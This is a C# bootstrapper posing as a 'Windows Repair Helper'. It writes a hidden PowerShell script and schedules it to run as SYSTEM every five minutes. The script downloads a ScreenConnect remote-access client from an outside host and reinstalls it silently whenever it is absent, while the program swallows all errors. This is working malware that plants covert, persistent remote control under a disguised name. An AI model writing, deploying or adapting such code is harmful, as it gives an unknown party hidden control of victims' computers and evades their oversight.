using System;
using System.Diagnostics;
using System.IO;
namespace MSHelperBootstrapper
{
internal class Program
{
static void Main()
{
try
{
string workDir = @"C:\ProgramData\MSHelper";
string taskName = "Windows Repair Helper";
string selfHealPath = Path.Combine(workDir, "MSHelper-SelfHeal.ps1");
if (!Directory.Exists(workDir))
{
Directory.CreateDirectory(workDir);
}
// Write self-heal PowerShell script
string scriptContent = GetSelfHealScript(workDir);
File.WriteAllText(selfHealPath, scriptContent);
// Build action: run PS script hidden
string action = $"powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File \"{selfHealPath}\"";
// Remove existing task if present
RunHidden("schtasks.exe", $"/Delete /TN \"{taskName}\" /F", wait: true);
// Create task: every 5 minutes, SYSTEM, highest
string createArgs =
$"/Create /TN \"{taskName}\" " +
"/SC MINUTE /MO 5 " +
$"/TR \"{action}\" " +
"/RU SYSTEM /RL HIGHEST /F";
RunHidden("schtasks.exe", createArgs, wait: true);
// Kick off one heal run immediately
RunHidden("powershell.exe",
$"-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File \"{selfHealPath}\"",
wait: false);
}
catch
{
// stay silent on errors
}
}
private static void RunHidden(string fileName, string arguments, bool wait)
{
var psi = new ProcessStartInfo
{
FileName = fileName,
Arguments = arguments,
CreateNoWindow = true,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
};
using (var p = Process.Start(psi))
{
if (wait && p != null)
{
p.WaitForExit();
}
}
}
private static string GetSelfHealScript(string workDir)
{
string msiPath = Path.Combine(workDir, "MSHelper.msi");
string logPath = Path.Combine(workDir, "MSHelper_SelfHeal.log");
// NOTE: no double quotes in this PowerShell – only single quotes.
const string template = @"$ErrorActionPreference = 'Continue'
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$MsiUrl = 'https://c...content-available-to-author-only...x.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'
$MsiPath = '__MSIPATH__'
$LogPath = '__LOGPATH__'
$DesiredDisplayName = 'ScreenConnect Client (3a607f4eb8ca7215)'
function Write-Log {
param([string]$Message)
try {
$ts = Get-Date -Format 'yyyy-MM-dd HH:mm:ss'
$line = $ts + '`t' + $Message
$line | Out-File -FilePath $LogPath -Append -Encoding UTF8
} catch {}
}
function Get-DesiredScreenConnectService {
try {
Get-Service | Where-Object { $_.DisplayName -eq $DesiredDisplayName }
} catch {
return $null
}
}
try {
$svc = Get-DesiredScreenConnectService
if (-not $svc -or $svc.Status -ne 'Running') {
if (-not $svc) {
Write-Log ('Desired ScreenConnect service ' + $DesiredDisplayName + ' not found. Attempting reinstall.')
} else {
Write-Log ('Desired ScreenConnect service ' + $DesiredDisplayName + ' not running (state=' + $svc.Status + '). Attempting reinstall.')
}
try {
if (Test-Path $MsiPath) { Remove-Item $MsiPath -Force }
} catch {}
try {
Write-Log ('Downloading MSI from ' + $MsiUrl + ' to ' + $MsiPath + ' (WebClient)...')
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($MsiUrl, $MsiPath)
} catch {
Write-Log ('Download failed: ' + $_.Exception.Message)
return
}
if (-not (Test-Path $MsiPath)) {
Write-Log 'Download failed: MSI file not found after download.'
return
}
$size = (Get-Item $MsiPath).Length
Write-Log ('Downloaded MSI size: ' + $size + ' bytes')
if ($size -lt 500000) {
Write-Log 'MSI too small, probably invalid. Aborting.'
return
}
try {
Write-Log 'Running msiexec to (re)install ScreenConnect.'
$arguments = '/i ' + '""' + $MsiPath + '""' + ' /quiet /norestart'
$proc = Start-Process -FilePath 'msiexec.exe' -ArgumentList $arguments -Wait -PassThru -ErrorAction Stop
Write-Log ('msiexec exit code: ' + $proc.ExitCode)
} catch {
Write-Log ('Failed to run msiexec: ' + $_.Exception.Message)
return
}
Start-Sleep -Seconds 10
$svc = Get-DesiredScreenConnectService
if ($svc -and $svc.Status -ne 'Running') {
try {
Start-Service -InputObject $svc -ErrorAction SilentlyContinue
Start-Sleep -Seconds 5
} catch {}
}
$svc = Get-DesiredScreenConnectService
if ($svc -and $svc.Status -eq 'Running') {
Write-Log ('Desired ScreenConnect service ' + $DesiredDisplayName + ' is now installed and running.')
} else {
Write-Log ('Desired ScreenConnect service ' + $DesiredDisplayName + ' still not running after reinstall.')
}
}
} catch {
Write-Log ('Unexpected error in self-heal script: ' + $_.Exception.Message)
}
";
string script = template
.Replace("__MSIPATH__", msiPath.Replace("'", "''"))
.Replace("__LOGPATH__", logPath.Replace("'", "''"));
return script;
}
}
}